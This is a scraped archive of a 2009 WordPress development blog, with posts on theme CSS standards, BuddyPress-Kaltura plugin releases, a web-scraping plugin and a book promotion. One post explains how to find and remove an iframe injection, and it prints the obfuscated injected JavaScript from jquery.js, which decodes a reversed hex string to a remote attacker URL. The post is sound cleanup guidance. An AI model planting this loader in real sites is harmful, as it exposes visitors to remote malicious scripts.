WpVeda

Wordpress Themes – Standards and Checklists (beta)

Rahul Bansal — Fri, 11 Dec 2009 13:33:47 +0000

This article was originally created (in parts) for rtCampers to guide our trainees and follow the best CSS and design practices. It is by no means complete but hopefully it will evolve over time as we get more mature with Wordpress, CSS and web-design in-general.

The goal of this article is to create a master list of standards that we want to follow while designing wordpress themes. Comments & criticism – awaited!

#1. Always Start with CSS-Reset

CSS-Reset is a snippet of code that should be always pasted in your “style.css”.

CSS-Reset clears (nullify) formatting on all HTML tags. Each browser has its own default formatting for most HTML tags and they vary from browser-to-browser. CSS-Reset brings all browsers to common ground!

There are many variation of CSS-Reset, but one I have always used is pasted below. It is from Stakers theme by Elliot Jay, which has been starting point for most of my themes. I will talk about stakers theme in detail some other day!

[css]
/* RESET */
/* —————————————– */

/* Global reset */
/* Based upon ‘reset.css’ in the Yahoo! User Interface Library: http://developer.yahoo.com/yui */
*, html, body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, form, label, fieldset, input, p, blockquote, th, td { margin:0; padding:0 }
table { border-collapse:collapse; border-spacing:0 }
fieldset, img { border:0 }
address, caption, cite, code, dfn, em, strong, th, var { font-style:normal; font-weight:normal }
ol, ul, li { list-style:none }
caption, th { text-align:left }
h1, h2, h3, h4, h5, h6 { font-size:100%; font-weight:normal }
q:before, q:after { content:”}

/* Global reset-RESET */
/* The below restores some sensible defaults */
strong { font-weight:bold }
em { font-style:italic }
a img { border:none } /* Gets rid of IE’s blue borders */
[/css]

#2. Don’t forget to add CSS for Wordpress Generated classes

Wordpress post-editor adds some classes like .alignleft, .alignright to the content. Also some template tags and standard widgets generates additional CSS classes that may be useful. More details about this can be found here.

At bare minimum you should have following CSS added in your theme.

[css]
.aligncenter,
div.aligncenter { display: block; margin-left: auto; margin-right: auto;}

.alignleft { float: left;}

.alignright { float: right;}
[/css]

Also note coding style of above CSS block is different than style given on Wordpress codex page.

Its matter of personal choice. You can see my CSS coding style here.

#3. Javascripts in Wordpress Theme

These days tabs and sliders are quite common among wordpress themes! Most of this fancy stuff is done using jQuery, its plugins and/or some extra javascript files.

Best way to include javascripts in wordpress theme is: wp_enqueue_script( ) function.

Always create your own javascripts files under “js” folder in your themes directory.

For javascripts library, before adding/uploading a copy to your theme directory, check list of javascript libraries that comes with wordpress. All these default libraries can be included in your theme merely by calling wp_enqueue_script( ) function. There is no need to upload them separately in your theme.

#4. Use Proper Test Data

To properly test a theme you are developing, you need test-data that covers most commonly used type of contents.

By default, when you install a new wordpress it creates a “Hello World” post, a comment on that post, an “About” page and few more data which is completely useless if you are developing a theme. Also exporting data from real big blog for testing purpose may not be good idea. We need test-data which must have lots of variations rather than larger number of posts.

For this:

Always test your theme with standard test data given here.
Above link open (or downloads) a XML file. Save it on your disk.
Then log into wordpress admin side. Go to “Tools >> Import >> Wordpess” and select XML file.
Its good idea to check “Download and import file attachments” checkbox on next screen

Thats all! Now check each link/page on test site in each browser!

Standard test data and CSS-Reset will save your considerable time that goes wasted in support phase.

#5. Final Testing & Checklist!

The biggest and most extensive checklist with plenty of test-cases can be found on wordpress codex.

Any theme we develop must be tested against that checklist.

#6. Additional Work for Public Themes

In case you want to release your theme for public on official wordpress.org theme repo, then make sure you follow these guidelines.

For GPL compatibility, you can simply put the following 2 lines in a comment block in top-portion of your style.css file.

[css]
/* The CSS, XHTML and design is released under GPL:
http://www.opensource.org/licenses/gpl-license.php */
[/css]

(to be continued…)

Wordpress Themes – Standards and Checklists (beta) is a post from: WpVeda

No related posts.

Finding & Removing malicious iframe exploit from Wordpress

Rahul Bansal — Mon, 07 Dec 2009 19:38:24 +0000

Sometime back our one under-construction site was infected with iframe injection in its wordpress theme. As it was not live site, I didn’t care much. Today, my friend Federico’s company site – Helios Design was infected with the same exploit.

First… About the iframe exploit!

This exploit injected some malicious code into wordpress’s “wp-includes/js/jquery/jquery.js” file, highlighted in the following screenshot.

When compared to original wordpress file – http://svn.automattic.com/wordpress/tags/2.8.4/wp-includes/js/jquery/jquery.js, you can see some extra code was added at the top.

As a result, at runtime an iframe gets created which was executing a remote script. It also broke sites markup resulting in bad SEO and failed validation. Such exploits can further act as a ground to launch bigger attacks or may infect visitor’s computer.

If Google visits your site with such codes, your site may get blocked in browsers like Firefox, Chrome and Safari. In those cases, your visitor will get a big security alert when they attempt to visit your site.

How-To fix this…

Find the exact codes that are inserted in your theme. In my friend’s case, following codes were injected:

Now searching for “src” link wont be good idea. The guy who can inject above codes into wordpress (via third-party codes most probably) will not store its src URL in plain-text. Also, rather than searching for complete code, its better to search different parts.

In this case – I decided to search “uKUwc”, “xblacnknet.cn” and “kDaxV” separately.

As far as searching is concerned there are 2 places to search – database and filesystem.

For database search you can use – phyMyAdmin. If you don’t have phpMyAdmin, just install WP-phpMyAdmin plugin.

To search filesystem – open shell to your server and execute grep command like below:

grep -H -r "kDaxV" /path/to/wp-root-dir

Substitute “/path/to/wp-root-dir” with filesystem path to the directory where wordpress is installed. “kDaxV” is a search string. Try different search strings unless u get any result. “-r” forces grep to search recursively and “-H” make it print filenames. Above command will perform search inside file contents.

For more details on this command refer this article by Vivek Gite.

Executing above command resulted in following output:

./wp-includes/js/jquery/jquery.js:var/**/YFiXz/**/=/**/document;function/**/ugGMs(czlmZ){/**/var/**/cZdbo/**/=/**/”",/**/aujtC/**/=/**/0;for/**/(aujtC=czlmZ.length-1;aujtC>=0;aujtC–){cZdbo/**/+=/**/czlmZ.charAt(aujtC);}/**/return/**/cZdbo;}function/**/xHiRm(UbqcV){UbqcV/**/=/**/UbqcV.replace(/[\.]/g,/**/”%”);UbqcV/**/=/**/unescape(UbqcV);return/**/ugGMs(UbqcV);}function/**/WDxZS(){document.write(“”);var/**/KJKbL/**/=/**/””;var/**/Xqvgy/**/=/**/KJKbL.replace(/[\+$]/g,/**/xHiRm(“.69.67.63.2e.76.2f.76.2f.6e.69.62.2d.69.67.63.2f.6e.63.2e.74.65.6e.6b.63.61.6c.62.78.2f.2f.3a.70.74.74.68″));return/**/Xqvgy;}YFiXz.writeln(WDxZS());

Once you find exact file, either you can remove malicious codes from it or replace that file with original version form wordpress repo.

Hope this helps someone out there!

Finding & Removing malicious iframe exploit from Wordpress is a post from: WpVeda

No related posts.

“Digging Into Wordpress” – The Wordpress Bible Everyone Should Read!

Rahul Bansal — Thu, 19 Nov 2009 15:55:46 +0000

“Digging Into Wordpress” is the Wordpress bible authored by Chris Coyier (CSS-Tricks) and Jeff Starr (Perishable Press).

This book covers tutorials, code-samples and concise information on every aspect of wordpress – setup, administration, customization, optimization, themes designing, SEO and everything else you can imagine with wordpress! Except plugin development it covers everything in great depth.

List of Chapters:

Welcome to WordPress
Setting Up WordPress
Anatomy of a WordPress Theme
Theme Design and Development
Extending Functionality (covers using wordpress as a CMS)
Working with RSS Feeds
Working with Comments
Search Engine Optimization
Maintaining a Healthy Site

Demo Version

You can check PDF file containing Table of Contents and a sample chapter.

Many of us will need this before making our mind to buy this book!

Discount (Promo) Code

You can get $5 off by using promo code DIWCSS

This book is prized at $27 but above promo code will make it available for $22!

Special Thanks from rtCamp

Our company, rtCamp, has had a hard-time preparing wordpress training materials for our new joinees.

This book will be really helpful to us and will surely remove a load from our senior developers’ shoulders.

We are already using great screencasts and code-snippets by Chris Coyier to teach many things to our fresh coders and now with this book from Chris, we can not stop thanking this maestro enough.

Link: Digging into Wordpress

“Digging Into Wordpress” – The Wordpress Bible Everyone Should Read! is a post from: WpVeda

No related posts.

How NOT to miss any WordCamp!

Aditya Kane — Fri, 13 Nov 2009 16:56:18 +0000

If you are using Wordpress for blogging or development you are probably burning with desire to be present in New York City where WordCamp will be held on this weekend.

With over 50 speakers and many more wordpress experts in attendance, I would surely love to be there, just enriching myself with ideas they will be sharing. But the fact is, there is no way I can arrange for the resources for being part of WordCamp in New York. Even our developers at rtCamp were doing a bit of day dreaming about hoping onto the next flight to New York.

Then I came across this post on weblogtoolscollection which mentioned in a very tongue in cheek manner the website with name - I wish I was at Word Camp

About I Wish I was at Word Camp…

I Wish I was at Word Camp is a amazing website to keep in touch with what is happening at Word Camp New York. It comes with the tag line ‘Couldn’t cough up the money, huh?’ which shows a humorous side to the fact that even if you are in New York and not 10,000 miles away, the entry fee for a Sunday afternoon is $25 and if you want to attend the whole weekend and share your knowledge on Wordpress it can go up to as high as $500.

I wish I was at Word Camp is quite handy when it comes to real time monitoring of events through various feeds on their homepage. It has design like PopUrls (read review) and purpose to.

From one page you can check twitter accounts of few top Wordpress developers as well as can keep an eye on WordCamp NYC 2009’s twitter hashtag – #wcnyc

The website also includes pictures of participants posted through Flickr.

It seems like the folks at Word Camp are already started to enjoy!

How NOT to miss any WordCamp! is a post from: WpVeda

No related posts.

BuddyPress Kaltura Media Component for BuddyPress version 1.1

Rahul Bansal — Tue, 10 Nov 2009 15:11:49 +0000

This post is to announce a big update to BuddyPress Kaltura Media Plugin which makes it compatible with BuddyPress version 1.1.x.

This feature was in so much demand that we added support for it ahead of time. It was originally planned for release towards the end of this month.

This new release have widget support for:

Recently Added Pictures
Recently Added Videos

You can configure number of pictures/videos that will show.

You can see widget in action here – http://bp.rtcamp.in/bp1.1/

You can download new release from this page. Look for highest version in 1.1.x series. As of now its 1.1.

Link: Wordpress Repo Page | Download Page | Direct zip file link for v1.1

BuddyPress Kaltura Media Component for BuddyPress version 1.1 is a post from: WpVeda

Support for Kaltura CE is added to BuddyPress Media Plugin

Rahul Bansal — Sun, 08 Nov 2009 11:12:00 +0000

This is a quick post to announce small but significant update to our BuddyPress Media Plugin which makes use of Kaltura open-source media platform.

By default, BuddyPress Media plugin uses Kaltura’s server to store all user upload media files. Some BuddyPress social network owners didn’t like this for various reasons and they wanted to use this media component with Kaltura CE – Kaltura’s self-hosted open-source media platform.

In a small release, which also happens to be first release on wordpress’s official plugin repo, we made necessary changes so that this BuddyPress component can work with Kaltura.com as well Kaltura CE out of the box.

What is Kaltura CE?

In simple words Kaltura CE is like wordpress.org – you can download and install it on your own server as compared to Kaltura.com which is more like wordpress.com – you can use it on someone else server with few limitations.

Kaltura CE over Kaltura.com has following main advantage:

With Kaltura CE all data (codes & media) is uploaded to our server
Kaltura.com offers limited storage and transfer in free account
As running Wordpress-MU and BuddyPress requires a good webhost, you may be already having a server to run Kaltura CE. So Kaltura CE will increase your cost, may not be true in early days of your social-network.

Only downside is that installing Kaltura CE requires some extra technical knowledge and no webhost provides one-click type of installer as provided for Wordpress, Joomla, etc. But setting up your own Kaltura CE server is one-time exercise and you can do it on your own by following official documentation or hire us to get it done for you.

Links: BuddyPress Media Component (on wordpress.org) | Kaltura CE

Recommended Webhost for Kaltura CE: Mediatemple

Support for Kaltura CE is added to BuddyPress Media Plugin is a post from: WpVeda

Web Scraping in WordPress

Akshay — Wed, 04 Nov 2009 13:48:11 +0000

I had been waiting for WpVeda to be launched since my first chat with Rahul some months back. Its always great to see conscious efforts from team rtCamp to give it back to the community. Congrats Rahul, and thanks for my mention in your first post.

I too strongly advocate open source and community contributions in general and I myself have also published some plugins.

Today I am writing about one of my plugins which caters to a very specific niche but surely has a good user base from the audience it caters to. The niche task which this plugin performs is web scraping.

What is Web Scraping?

Web scraping (or Web harvesting, Web data extraction) is a computer software technique of extracting information from websites. Web scraping focuses more on the transformation of unstructured Web content, typically in HTML format, into structured data that can be formatted and displayed or stored and analyzed. Web scraping is also related to Web automation, which simulates human Web browsing using computer software. Exemplary uses of Web scraping include online price comparison, weather data monitoring, market data tracking, web content mashup and web data integration.

WP Web Scraper

WP Web Scraper is an easy to implement professional web scraper for WordPress. It can be used to display real-time data from any websites directly into your posts, pages or sidebar. This plugin can be used to include real-time stock quotes, cricket or soccer scores or any other generic content. The scraper is built using time tested cURL library for scraping and phpQuery for parsing and outputting HTML.
It also has some advanced configuration features such as:

Configurable caching of scraped data. Cache timeout in minutes can be defined in minutes for every scrap.
Custom Useragent header for your scraper can be set for every scrap.
Scrap output can be displayed through custom template tag, shortcode in page, post and sidebar (text widget).
Error handling – Silent fail, standard error, custom error message or display expired cache.
Option to clear or replace a certain regex pattern from the scrap before output.
Option to strip off a single or multiple HTML tags from the output.
Supports html charset conversion between various charsets.

Am sure, this all sounds a bit geekish to someone who has not explored web scraping before.

For a better perspective, what could be a better example of displaying the download count of my plugin from wordpress.org. To do this, all I need to do (assuming that the plugin is installed) is to insert the following shortcode in my page, post or the text widget of sidebar:
[wpws url = "http://wordpress.org/extend/plugins/wp-web-scrapper/stats/" selector=".last-child td" cache="60" timeout="3" error="cache"]

Using Shortcode

Now lets decrypt the shortcode. The first parameter – url, specifies the url from which you intend to scrap data. The second (and perhaps the most important) parameter – selector, specifies the exact location in that url where your data is located. The syntax used is of good old CSS. If you have worked with CSS or jQuery before, it should be very easy for you to write a CSS selector.

In brief, the selector mentioned above refers to the first td element which is a child of the first element with the class ‘last-child’. You can easily build such selectors by viewing the source code of your url. Rest of the parameters are optional. Cache specifies the time in minutes it will cache data instead of fetching data on each request, timeout is the maximum time in seconds the scraper will spend on the task and error denotes what happens in case the scraper fails (if cache is the value for error, it will display expired cache data in case of an error).

I hope this gets you interested enough to start exploring its limit less possibilities. Download your copy, install it and get started. You can find more info on this plugin in the FAQ section or its official page.

Please note that the content you scraping might be copyright protected. Its best to at least attribute the content owner by a linkback or better take a written permission. Apart from rights, cURLing in general is a very resource intensive task. It will exhaust the bandwidth of your host as well as the host of of the content owner. Best is not to overdo it.

Web Scraping in WordPress is a post from: WpVeda

No related posts.

BuddyPress-Kaltura Media Component

Rahul Bansal — Tue, 03 Nov 2009 07:47:28 +0000

This BuddyPress component integrates Kaltura open-source video platform seamlessly. This component adds missing media rich features like photos, videos and audios uploading to BuddyPress which are essential if you are building social network, seriously!

Features:

As of now in first release of this plugin following features are supported. (please see screenshots section for visuals)

Buddypress user gets a media menu.
They can upload video, images and audio files seamlessly to their profiles. (Data will be stored on the Kaltura server by default. You can use your own server as an alternative.)
All kaltura-data uploaded by a user will be visible to other users.
Data will be organized into video, images and audio automatically.
Buddypress users wont need separate Kaltura account to use media-rich features added by this component.
Only Buddypress (Wordpess MU) admin need Kaltura partner ID. All user data will be associate with admin’s kaltura partner account.
A local database at buddypress installation keeps track of which user is uploading which files, which further deals with data-separation on per member basis.
Widget support for recently added pictures/videos (only available for BuddyPress 1.1.x)

Requirements:

WordPress MU 2.8.4a
Buddypress 1.0.x OR Buddypress 1.1.x

Download: Download Code | Documentation in PDF | Live Demo

Installation:

Installation of the component is same as other buddypress components.

Download component source code and unzip it.
Upload “rt-bp-kaltura-plugin” directory into WordPress plugins directory i.e. “wp-content/plugins”.
Upload “rt-bp-kaltura-theme” directory into “wp-content/bp-themes/bp-members” directory. “bp-members” is the default BuddyPress members theme. If you are using your own customized theme substitute its folder name in-place of “bp-members” in path.
Go to Dashboard >> Plugins menu and activate “Buddypress-Kaltura Media Component”
Go to Dashboard >> Settings >> Kaltura Settings and enter your Kaltura account settings there.

To-Do List:

Below is list of features you will see in upcoming versions. If you need any specific feature, please use comment form below. We will try our best to add it to our list. If you need paid support or paid customizations, contact us.

Privacy Controls – All uploaded data is be viewable by all users. There is privacy control supported in this version.
Album support - All photos as of now goes into single, global album.
Commenting - As of now you can not comment directly on a users’ media content.
Caching Support - Even though we find Kaltura platform very robust and reliable, it wont hurt have local (buddypress server-side cache). After all what the use of those attractive “unlimited webhosting plans”!

Support this component

If you find this component useful, please consider making a donation. Even this plugin is developed by a startup company, we need your support to release future updates in less time.

Screenshots:

Download: Download Code | Documentation in PDF | Live Demo

Developed by: Kapil Gonge (rtCamp)

BuddyPress-Kaltura Media Component is a post from: WpVeda

Welcome To WpVeda!

Rahul Bansal — Mon, 02 Nov 2009 19:06:10 +0000

Welcome To WpVeda – another blog in rtBlogs Network!

This blog is dedicated to wordpress and everything related to wordpress – the blogging platform which changed course of our lives forever. You can read more about this blog here.

Whats the big deal about this new blog on Wordpress!

As part of our client projects and our addiction for open-source technology, we at rtCamp develop lots of wordpress themes, plugins and hacks everyday.

Through WpVeda we will share our free and GPL based work with community from which we took a lot. We already have more than 6 wordpress/mu/buddypress plugins and bunch of free wordpress themes lined up for release. So you can expect a lot of good and free stuff on WpVeda in coming weeks.

You can also get free help from wordpress professionals who will be writing for this blog.

Community Blogging & Revenue Sharing…

Like other blogs in our network, this blog is already Google Adsense revenue sharing enabled one. If you already have an account at Devils Workshop or at any other blog in our network, please proceed to dashboard and start posting. You will need to configure AdSense separately for WpVeda and for almost every blog in our network since each blog has unique designs which affect Adsense ad-slot settings heavily.

If you haven’t joined our blog network yet, you can do so by registering here. Its free & quick!

Credits…

WpVeda logo was designed by Dnyanesh Mankar as part of logo-design contest organized on Devils Workshop. WpVeda theme is designed by our designer Rohit Maloo, who was referred to rtCamp by Akshay Raje. If you are looking for full-time wordpress jobs, you can check this!

Do let us know your feedback and suggestions. We will try our best to serve everything you want on wordpress here!

Welcome To WpVeda! is a post from: WpVeda

No related posts.

WpVeda

Wordpress Themes – Standards and Checklists (beta)

#1. Always Start with CSS-Reset

#2. Don’t forget to add CSS for Wordpress Generated classes

#3. Javascripts in Wordpress Theme

#4. Use Proper Test Data

#5. Final Testing & Checklist!

#6. Additional Work for Public Themes

Finding & Removing malicious iframe exploit from Wordpress

First… About the iframe exploit!

How-To fix this…

“Digging Into Wordpress” – The Wordpress Bible Everyone Should Read!

List of Chapters:

Demo Version

Discount (Promo) Code

Special Thanks from rtCamp

How NOT to miss any WordCamp!

About I Wish I was at Word Camp…

BuddyPress Kaltura Media Component for BuddyPress version 1.1

Related posts:

Support for Kaltura CE is added to BuddyPress Media Plugin

What is Kaltura CE?

Related posts:

Web Scraping in WordPress

What is Web Scraping?

WP Web Scraper

Using Shortcode

BuddyPress-Kaltura Media Component

Features:

Requirements:

Download: Download Code | Documentation in PDF | Live Demo

Installation:

To-Do List:

Support this component

Screenshots:

Download: Download Code | Documentation in PDF | Live Demo

Related posts:

Welcome To WpVeda!

Whats the big deal about this new blog on Wordpress!

Community Blogging & Revenue Sharing…

Credits…